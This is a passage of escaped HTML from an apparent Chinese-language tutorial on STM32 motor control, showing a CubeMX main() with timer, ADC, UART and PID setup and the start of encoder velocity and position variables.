class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE BEGIN 0 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 定义一个全局的PID结构体,用来计算PID的时候传参\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003ePID_struct\u003c/span\u003e \u003cspan class=\"n\"\u003epid\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 定义一个buf用来储存从屏幕的uart收到的消息(发了6个整数)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE END 0 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @brief The application entry point.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @retval int\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE BEGIN 1 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE END 1 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* MCU Configuration--------------------------------------------------------*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* Reset of all peripherals, Initializes the Flash interface and the Systick. */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE BEGIN Init */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE END Init */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* Configure the system clock */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eSystemClock_Config\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE BEGIN SysInit */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE END SysInit */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* Initialize all configured peripherals */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eMX_GPIO_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eMX_TIM3_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eMX_ADC1_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eMX_TIM2_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eMX_TIM4_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eMX_UART4_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eMX_USART1_UART_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE BEGIN 2 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这里是一个坑, 详情请看下面的PWM部分的Read_Encoder()\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eTIM2\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eCNT\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x7FFF\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 把屏幕的UART的接受消息打开,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_UART_Receive_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 把PID结构体初始化,这里的P I D参数要看自己选择合适的值, 可以根据实际情况适当调节.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003eIncremental_KP\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eIncremental_KI\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eIncremental_KD\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 调用PID初始化函数(这个代码我放在结尾吧, 作者是物院实验室某佬)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 这里最后两个参数是限定I项的, 具体左右可以看代码\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003ePID_init\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003epid\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eIncremental_KP\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eIncremental_KI\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eIncremental_KD\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE END 2 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* Infinite loop */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE BEGIN WHILE */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ewhile\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE END WHILE */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE BEGIN 3 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE END 3 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch5 id=\"屏幕串口的uart中断\"\u003e屏幕串口的UART中断\u003c/h5\u003e\n\u003cp\u003e我们通过重定义中断回调函数来实现对HAL的中断回调的使用\u003cbr\u003e\n下面的代码 通过 屏幕串口USART中断来实现 不同状态下 激活/关闭 计时器和电机\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 27\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 28\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 29\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 30\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 31\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 32\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 33\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 34\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 35\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 36\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 37\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 38\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 39\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 40\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 41\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 42\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 43\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 44\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 45\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 46\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 47\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 48\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 49\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 50\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 51\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 52\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 53\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 54\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 55\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 56\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 57\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 58\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 59\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 60\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 61\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 62\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 63\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 64\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 65\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 66\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 67\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 68\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 69\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 70\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 71\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 72\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 73\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 74\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 75\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 76\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 77\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 78\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 79\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 80\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 81\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 82\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 83\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 84\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 85\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 86\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 87\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 88\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 89\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 90\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 91\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 92\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 93\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 94\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 95\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 96\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 97\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 98\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 99\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e100\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e101\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e102\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e103\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e104\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e105\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e106\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e107\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e108\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e109\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e110\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e111\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e112\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e113\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e114\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e115\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e116\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e117\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e118\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e119\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e120\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e121\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e122\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e123\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e124\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e125\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e126\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e127\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e128\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e129\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e130\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e131\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e132\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e133\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e134\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这里定义一些变量\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 电机转一圈所需的Encoder读数累和\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eEach_Circle\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1440\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 设定的目标速度 Encoder读出的真实速度\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eReality_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 设定的目标位置总读数和 实际位置读数和\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eReality_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 给电机的PWM设定的占空比数值(这里需要每次累加,因为使用的是增程式pid)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eSet_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eStart_TIM\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan 